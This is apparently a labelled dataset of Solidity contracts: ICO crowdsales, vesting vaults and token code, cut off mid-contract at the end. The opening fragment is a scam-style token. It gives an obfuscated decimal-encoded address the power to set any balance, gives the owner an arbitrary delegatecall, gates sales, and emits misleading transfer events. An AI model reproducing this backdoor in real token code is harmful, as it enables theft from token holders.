function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,593 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract RewardToken is StandardToken, Ownable {
bool public payments = false;
mapping(address => uint256) public rewards;
uint public payment_time = 0;
uint public payment_amount = 0;
event Reward(address indexed to, uint256 value);
function payment() payable onlyOwner {
require(payments);
require(msg.value >= 0.01 * 1 ether);
payment_time = now;
payment_amount = this.balance;
}
function _reward(address _to) private returns (bool) {
require(payments);
require(rewards[_to] < payment_time);
if(balances[_to] > 0) {
uint amount = payment_amount.mul(balances[_to]).div( totalSupply);
require(_to.send(amount));
Reward(_to, amount);
}
rewards[_to] = payment_time;
return true;
}
function reward() returns (bool) {
return _reward(msg.sender);
}
function transfer(address _to, uint256 _value) returns (bool) {
if(payments) {
if(rewards[msg.sender] < payment_time) require(_reward(msg.sender));
if(rewards[_to] < payment_time) require(_reward(_to));
}
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
if(payments) {
if(rewards[_from] < payment_time) require(_reward(_from));
if(rewards[_to] < payment_time) require(_reward(_to));
}
return super.transferFrom(_from, _to, _value);
}
}
contract CottageToken is RewardToken {
using SafeMath for uint;
string public name = "Cottage Token";
string public symbol = "CTG";
uint256 public decimals = 18;
bool public mintingFinished = false;
bool public commandGetBonus = false;
uint public commandGetBonusTime = 1519884000;
event Mint(address indexed holder, uint256 tokenAmount);
event MintFinished();
event MintCommandBonus();
function _mint(address _to, uint256 _amount) onlyOwner private returns(bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function mint(address _to, uint256 _amount) onlyOwner returns(bool) {
require(!mintingFinished);
return _mint(_to, _amount);
}
function finishMinting() onlyOwner returns(bool) {
mintingFinished = true;
payments = true;
MintFinished();
return true;
}
function commandMintBonus(address _to) onlyOwner {
require(mintingFinished && !commandGetBonus);
require(now > commandGetBonusTime);
commandGetBonus = true;
require(_mint(_to, totalSupply.mul(15).div(100)));
MintCommandBonus();
}
}
contract Crowdsale is Ownable {
using SafeMath for uint;
CottageToken public token;
address public beneficiary = 0xd358Bd183C8E85C56d84C1C43a785DfEE0236Ca2;
uint public collectedFunds = 0;
uint public hardCap = 230000 * 1000000000000000000;
uint public tokenETHAmount = 600;
uint public startPreICO = 1511762400;
uint public endPreICO = 1514354400;
uint public bonusPreICO = 200 ether;
uint public startICO = 1517464800;
uint public endICOp1 = 1518069600;
uint public endICOp2 = 1518674400;
uint public endICOp3 = 1519279200;
uint public endICO = 1519884000;
bool public crowdsaleFinished = false;
event NewContribution(address indexed holder, uint256 tokenAmount, uint256 etherAmount);
function Crowdsale() {
token = new CottageToken();
}
function() payable {
doPurchase();
}
function doPurchase() payable {
require((now >= startPreICO && now < endPreICO) || (now >= startICO && now < endICO));
require(collectedFunds < hardCap);
require(msg.value > 0);
require(!crowdsaleFinished);
uint rest = 0;
uint tokensAmount = 0;
uint sum = msg.value;
if(sum > hardCap.sub(collectedFunds) ) {
sum = hardCap.sub(collectedFunds);
rest = msg.value - sum;
}
if(now >= startPreICO && now < endPreICO){
if(msg.value >= bonusPreICO){
tokensAmount = sum.mul(tokenETHAmount).mul(120).div(100);
} else {
tokensAmount = sum.mul(tokenETHAmount).mul(112).div(100);
}
}
if(now >= startICO && now < endICOp1){
tokensAmount = sum.mul(tokenETHAmount).mul(110).div(100);
} else if (now >= endICOp1 && now < endICOp2) {
tokensAmount = sum.mul(tokenETHAmount).mul(108).div(100);
} else if (now >= endICOp2 && now < endICOp3) {
tokensAmount = sum.mul(tokenETHAmount).mul(105).div(100);
} else if (now >= endICOp3 && now < endICO) {
tokensAmount = sum.mul(tokenETHAmount);
}
require(token.mint(msg.sender, tokensAmount));
beneficiary.transfer(sum);
msg.sender.transfer(rest);
collectedFunds = collectedFunds.add(sum);
NewContribution(msg.sender, tokensAmount, tokenETHAmount);
}
function withdraw() onlyOwner {
require(token.finishMinting());
require(beneficiary.send(this.balance));
token.transferOwnership(beneficiary);
crowdsaleFinished = true;
}
function mint(address _to, uint _value) onlyOwner {
_value = _value.mul(1000000000000000000);
require((now >= startPreICO && now < endPreICO) || (now >= startICO && now < endICO));
require(collectedFunds < hardCap);
require(_value > 0);
require(!crowdsaleFinished);
uint rest = 0;
uint tokensAmount = 0;
uint sum = _value;
if(sum > hardCap.sub(collectedFunds) ) {
sum = hardCap.sub(collectedFunds);
rest = _value - sum;
}
if(now >= startPreICO && now < endPreICO){
if(_value >= bonusPreICO){
tokensAmount = sum.mul(tokenETHAmount).mul(120).div(100);
} else {
tokensAmount = sum.mul(tokenETHAmount).mul(112).div(100);
}
}
if(now >= startICO && now < endICOp1){
tokensAmount = sum.mul(tokenETHAmount).mul(110).div(100);
} else if (now >= endICOp1 && now < endICOp2) {
tokensAmount = sum.mul(tokenETHAmount).mul(108).div(100);
} else if (now >= endICOp2 && now < endICOp3) {
tokensAmount = sum.mul(tokenETHAmount).mul(105).div(100);
} else if (now >= endICOp3 && now < endICO) {
tokensAmount = sum.mul(tokenETHAmount);
}
require(token.mint(_to, tokensAmount));
collectedFunds = collectedFunds.add(sum);
NewContribution(_to, tokensAmount, tokenETHAmount);
}
} | 1 | 4,164 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
pragma solidity ^0.4.18;
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
pragma solidity ^0.4.18;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
pragma solidity ^0.4.18;
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.4.18;
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
pragma solidity ^0.4.18;
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity ^0.4.19;
contract KYCBase {
using SafeMath for uint256;
mapping (address => bool) public isKycSigner;
mapping (uint64 => uint256) public alreadyPayed;
event KycVerified(address indexed signer, address buyerAddress, uint64 buyerId, uint maxAmount);
function KYCBase(address [] kycSigners) internal {
for (uint i = 0; i < kycSigners.length; i++) {
isKycSigner[kycSigners[i]] = true;
}
}
function releaseTokensTo(address buyer) internal returns(bool);
function senderAllowedFor(address buyer)
internal view returns(bool)
{
return buyer == msg.sender;
}
function buyTokensFor(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
public payable returns (bool)
{
require(senderAllowedFor(buyerAddress));
return buyImplementation(buyerAddress, buyerId, maxAmount, v, r, s);
}
function buyTokens(uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
public payable returns (bool)
{
return buyImplementation(msg.sender, buyerId, maxAmount, v, r, s);
}
function buyImplementation(address buyerAddress, uint64 buyerId, uint maxAmount, uint8 v, bytes32 r, bytes32 s)
private returns (bool)
{
bytes32 hash = sha256("Eidoo icoengine authorization", this, buyerAddress, buyerId, maxAmount);
address signer = ecrecover(hash, v, r, s);
if (!isKycSigner[signer]) {
revert();
} else {
uint256 totalPayed = alreadyPayed[buyerId].add(msg.value);
require(totalPayed <= maxAmount);
alreadyPayed[buyerId] = totalPayed;
KycVerified(signer, buyerAddress, buyerId, maxAmount);
return releaseTokensTo(buyerAddress);
}
return true;
}
function () public {
revert();
}
}
pragma solidity ^0.4.19;
contract ICOEngineInterface {
function started() public view returns(bool);
function ended() public view returns(bool);
function startTime() public view returns(uint);
function endTime() public view returns(uint);
function totalTokens() public view returns(uint);
function remainingTokens() public view returns(uint);
function price() public view returns(uint);
}
pragma solidity ^0.4.19;
contract CrowdsaleBase is Pausable, CanReclaimToken, ICOEngineInterface, KYCBase {
uint256 public constant USD_PER_TOKEN = 2;
uint256 public constant USD_PER_ETHER = 1000;
uint256 public start;
uint256 public end;
uint256 public cap;
address public wallet;
uint256 public tokenPerEth;
uint256 public availableTokens;
address[] public kycSigners;
bool public capReached;
uint256 public weiRaised;
uint256 public tokensSold;
function CrowdsaleBase(
uint256 _start,
uint256 _end,
uint256 _cap,
address _wallet,
address[] _kycSigners
)
public
KYCBase(_kycSigners)
{
require(_end >= _start);
require(_cap > 0);
start = _start;
end = _end;
cap = _cap;
wallet = _wallet;
tokenPerEth = USD_PER_ETHER.div(USD_PER_TOKEN);
availableTokens = _cap;
kycSigners = _kycSigners;
}
function started() public view returns(bool) {
if (block.timestamp >= start) {
return true;
} else {
return false;
}
}
function ended() public view returns(bool) {
if (block.timestamp >= end) {
return true;
} else {
return false;
}
}
function startTime() public view returns(uint) {
return start;
}
function endTime() public view returns(uint) {
return end;
}
function totalTokens() public view returns(uint) {
return cap;
}
function remainingTokens() public view returns(uint) {
return availableTokens;
}
function senderAllowedFor(address buyer) internal view returns(bool) {
require(buyer != address(0));
return true;
}
function releaseTokensTo(address buyer) internal returns(bool) {
require(validPurchase());
uint256 overflowTokens;
uint256 refundWeiAmount;
uint256 weiAmount = msg.value;
uint256 tokenAmount = weiAmount.mul(price());
if (tokenAmount >= availableTokens) {
capReached = true;
overflowTokens = tokenAmount.sub(availableTokens);
tokenAmount = tokenAmount.sub(overflowTokens);
refundWeiAmount = overflowTokens.div(price());
weiAmount = weiAmount.sub(refundWeiAmount);
buyer.transfer(refundWeiAmount);
}
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
availableTokens = availableTokens.sub(tokenAmount);
mintTokens(buyer, tokenAmount);
forwardFunds(weiAmount);
return true;
}
function forwardFunds(uint256 _weiAmount) internal {
wallet.transfer(_weiAmount);
}
function validPurchase() internal view returns (bool) {
require(!paused && !capReached);
require(block.timestamp >= start && block.timestamp <= end);
return true;
}
function mintTokens(address to, uint256 amount) private;
}
pragma solidity ^0.4.18;
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
}
pragma solidity ^0.4.18;
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
pragma solidity ^0.4.18;
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
pragma solidity ^0.4.18;
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
pragma solidity ^0.4.18;
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
pragma solidity ^0.4.19;
contract UacToken is CanReclaimToken, MintableToken, PausableToken {
string public constant name = "Ubiatar Coin";
string public constant symbol = "UAC";
uint8 public constant decimals = 18;
function UacToken() public {
paused = true;
}
}
pragma solidity ^0.4.19;
contract UbiatarPlayVault {
using SafeMath for uint256;
using SafeERC20 for UacToken;
uint256[6] public vesting_offsets = [
90 days,
180 days,
270 days,
360 days,
540 days,
720 days
];
uint256[6] public vesting_amounts = [
2e6 * 1e18,
4e6 * 1e18,
6e6 * 1e18,
8e6 * 1e18,
10e6 * 1e18,
20.5e6 * 1e18
];
address public ubiatarPlayWallet;
UacToken public token;
uint256 public start;
uint256 public released;
function UbiatarPlayVault(
address _ubiatarPlayWallet,
address _token,
uint256 _start
)
public
{
ubiatarPlayWallet = _ubiatarPlayWallet;
token = UacToken(_token);
start = _start;
}
function release() public {
uint256 unreleased = releasableAmount();
require(unreleased > 0);
released = released.add(unreleased);
token.safeTransfer(ubiatarPlayWallet, unreleased);
}
function releasableAmount() public view returns (uint256) {
return vestedAmount().sub(released);
}
function vestedAmount() public view returns (uint256) {
uint256 vested = 0;
for (uint256 i = 0; i < vesting_offsets.length; i = i.add(1)) {
if (block.timestamp > start.add(vesting_offsets[i])) {
vested = vested.add(vesting_amounts[i]);
}
}
return vested;
}
}
pragma solidity ^0.4.17;
contract PresaleTokenVault {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
uint256 public constant VESTING_OFFSET = 90 days;
uint256 public constant VESTING_DURATION = 180 days;
uint256 public start;
uint256 public cliff;
uint256 public end;
ERC20Basic public token;
struct Investment {
address beneficiary;
uint256 totalBalance;
uint256 released;
}
Investment[] public investments;
mapping(address => uint256) public investorLUT;
function init(address[] beneficiaries, uint256[] balances, uint256 startTime, address _token) public {
require(token == address(0));
require(beneficiaries.length == balances.length);
start = startTime;
cliff = start.add(VESTING_OFFSET);
end = cliff.add(VESTING_DURATION);
token = ERC20Basic(_token);
for (uint256 i = 0; i < beneficiaries.length; i = i.add(1)) {
investorLUT[beneficiaries[i]] = investments.length;
investments.push(Investment(beneficiaries[i], balances[i], 0));
}
}
function release(address beneficiary) public {
uint256 unreleased = releasableAmount(beneficiary);
require(unreleased > 0);
uint256 investmentIndex = investorLUT[beneficiary];
investments[investmentIndex].released = investments[investmentIndex].released.add(unreleased);
token.safeTransfer(beneficiary, unreleased);
}
function release() public {
release(msg.sender);
}
function releasableAmount(address beneficiary) public view returns (uint256) {
uint256 investmentIndex = investorLUT[beneficiary];
return vestedAmount(beneficiary).sub(investments[investmentIndex].released);
}
function vestedAmount(address beneficiary) public view returns (uint256) {
uint256 investmentIndex = investorLUT[beneficiary];
uint256 vested = 0;
if (block.timestamp >= start) {
vested = investments[investmentIndex].totalBalance.div(3);
}
if (block.timestamp >= cliff && block.timestamp < end) {
uint256 p1 = investments[investmentIndex].totalBalance.div(3);
uint256 p2 = investments[investmentIndex].totalBalance;
uint256 d_token = p2.sub(p1);
uint256 time = block.timestamp.sub(cliff);
uint256 d_time = end.sub(cliff);
vested = vested.add(d_token.mul(time).div(d_time));
}
if (block.timestamp >= end) {
vested = investments[investmentIndex].totalBalance;
}
return vested;
}
}
pragma solidity ^0.4.19;
contract UacCrowdsale is CrowdsaleBase {
uint256 public constant START_TIME = 1525856400;
uint256 public constant END_TIME = 1528448400;
uint256 public constant PRESALE_VAULT_START = END_TIME + 7 days;
uint256 public constant PRESALE_CAP = 17584778551358900100698693;
uint256 public constant TOTAL_MAX_CAP = 15e6 * 1e18;
uint256 public constant CROWDSALE_CAP = 7.5e6 * 1e18;
uint256 public constant FOUNDERS_CAP = 12e6 * 1e18;
uint256 public constant UBIATARPLAY_CAP = 50.5e6 * 1e18;
uint256 public constant ADVISORS_CAP = 4915221448641099899301307;
uint256 public constant BONUS_TIER1 = 108;
uint256 public constant BONUS_TIER2 = 106;
uint256 public constant BONUS_TIER3 = 104;
uint256 public constant BONUS_DURATION_1 = 3 hours;
uint256 public constant BONUS_DURATION_2 = 12 hours;
uint256 public constant BONUS_DURATION_3 = 42 hours;
uint256 public constant FOUNDERS_VESTING_CLIFF = 1 years;
uint256 public constant FOUNDERS_VESTING_DURATION = 2 years;
Reservation public reservation;
PresaleTokenVault public presaleTokenVault;
TokenVesting public foundersVault;
UbiatarPlayVault public ubiatarPlayVault;
address public foundersWallet;
address public advisorsWallet;
address public ubiatarPlayWallet;
address public wallet;
UacToken public token;
bool public didOwnerEndCrowdsale;
function UacCrowdsale(
address _token,
address _reservation,
address _presaleTokenVault,
address _foundersWallet,
address _advisorsWallet,
address _ubiatarPlayWallet,
address _wallet,
address[] _kycSigners
)
public
CrowdsaleBase(START_TIME, END_TIME, TOTAL_MAX_CAP, _wallet, _kycSigners)
{
token = UacToken(_token);
reservation = Reservation(_reservation);
presaleTokenVault = PresaleTokenVault(_presaleTokenVault);
foundersWallet = _foundersWallet;
advisorsWallet = _advisorsWallet;
ubiatarPlayWallet = _ubiatarPlayWallet;
wallet = _wallet;
foundersVault = new TokenVesting(foundersWallet, END_TIME, FOUNDERS_VESTING_CLIFF, FOUNDERS_VESTING_DURATION, false);
ubiatarPlayVault = new UbiatarPlayVault(ubiatarPlayWallet, address(token), END_TIME);
}
function mintPreAllocatedTokens() public onlyOwner {
mintTokens(address(foundersVault), FOUNDERS_CAP);
mintTokens(advisorsWallet, ADVISORS_CAP);
mintTokens(address(ubiatarPlayVault), UBIATARPLAY_CAP);
}
function initPresaleTokenVault(address[] beneficiaries, uint256[] balances) public onlyOwner {
require(beneficiaries.length == balances.length);
presaleTokenVault.init(beneficiaries, balances, PRESALE_VAULT_START, token);
uint256 totalPresaleBalance = 0;
uint256 balancesLength = balances.length;
for(uint256 i = 0; i < balancesLength; i++) {
totalPresaleBalance = totalPresaleBalance.add(balances[i]);
}
mintTokens(presaleTokenVault, totalPresaleBalance);
}
function price() public view returns (uint256 _price) {
if (block.timestamp <= start.add(BONUS_DURATION_1)) {
return tokenPerEth.mul(BONUS_TIER1).div(1e2);
} else if (block.timestamp <= start.add(BONUS_DURATION_2)) {
return tokenPerEth.mul(BONUS_TIER2).div(1e2);
} else if (block.timestamp <= start.add(BONUS_DURATION_3)) {
return tokenPerEth.mul(BONUS_TIER3).div(1e2);
}
return tokenPerEth;
}
function mintReservationTokens(address to, uint256 amount) public {
require(msg.sender == address(reservation));
tokensSold = tokensSold.add(amount);
availableTokens = availableTokens.sub(amount);
mintTokens(to, amount);
}
function mintTokens(address to, uint256 amount) private {
token.mint(to, amount);
}
function closeCrowdsale() public onlyOwner {
require(block.timestamp >= START_TIME && block.timestamp < END_TIME);
didOwnerEndCrowdsale = true;
}
function finalise() public onlyOwner {
require(didOwnerEndCrowdsale || block.timestamp > end || capReached);
token.finishMinting();
token.unpause();
token.transferOwnership(owner);
}
}
pragma solidity ^0.4.19;
contract Reservation is CrowdsaleBase {
uint256 public constant START_TIME = 1525683600;
uint256 public constant END_TIME = 1525856400;
uint256 public constant RESERVATION_CAP = 7.5e6 * 1e18;
uint256 public constant BONUS = 110;
UacCrowdsale public crowdsale;
function Reservation(
address _wallet,
address[] _kycSigners
)
public
CrowdsaleBase(START_TIME, END_TIME, RESERVATION_CAP, _wallet, _kycSigners)
{
}
function setCrowdsale(address _crowdsale) public {
require(crowdsale == address(0));
crowdsale = UacCrowdsale(_crowdsale);
}
function price() public view returns (uint256) {
return tokenPerEth.mul(BONUS).div(1e2);
}
function mintTokens(address to, uint256 amount) private {
crowdsale.mintReservationTokens(to, amount);
}
} | 1 | 3,031 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract AuthenticationManager {
mapping (address => bool) adminAddresses;
mapping (address => bool) accountReaderAddresses;
address[] adminAudit;
address[] accountReaderAudit;
event AdminAdded(address addedBy, address admin);
event AdminRemoved(address removedBy, address admin);
event AccountReaderAdded(address addedBy, address account);
event AccountReaderRemoved(address removedBy, address account);
function AuthenticationManager() {
adminAddresses[msg.sender] = true;
AdminAdded(0, msg.sender);
adminAudit.length++;
adminAudit[adminAudit.length - 1] = msg.sender;
}
function contractVersion() constant returns(uint256) {
return 100201707171503;
}
function isCurrentAdmin(address _address) constant returns (bool) {
return adminAddresses[_address];
}
function isCurrentOrPastAdmin(address _address) constant returns (bool) {
for (uint256 i = 0; i < adminAudit.length; i++)
if (adminAudit[i] == _address)
return true;
return false;
}
